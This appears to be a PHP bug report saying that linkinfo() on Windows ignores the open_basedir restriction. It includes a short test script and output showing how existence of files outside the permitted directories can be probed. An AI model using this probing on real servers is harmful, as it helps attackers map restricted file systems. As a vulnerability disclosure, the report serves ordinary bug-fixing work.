[2018-06-11 22:51 UTC] fernando at null-life dot com

Description:
------------
linkinfo function on windows doesn't implement openbasedir check, it can be seen by reviewing the source code. This could be abused to find files on paths outside of the allowed directories.


Windows: https://github.com/php/php-src/blob/master/ext/standard/link_win32.c#L88
Unix: https://github.com/php/php-src/blob/master/ext/standard/link.c#L85

Test script:
---------------
<?php

$var1="c:\\jump";
print "checking $var1 ...".PHP_EOL;
print @linkinfo($var1).PHP_EOL;
$var1="c:\\jump\\folder\\file1.txt";
print "checking $var1 ...".PHP_EOL;
print @linkinfo($var1).PHP_EOL;
$var1="c:\\jump\\blabla";
print "checking $var1 ...".PHP_EOL;
print @linkinfo($var1).PHP_EOL;

Expected result:
----------------
Warning: linkinfo(): open_basedir restriction in effect...
                

Actual result:
--------------
C:\php726\php.exe -n -dopen_basedir=C:\tools sample.php

checking c:\jump ...
2
checking c:\jump\folder\file1.txt ...
2
checking c:\jump\blabla ...
-1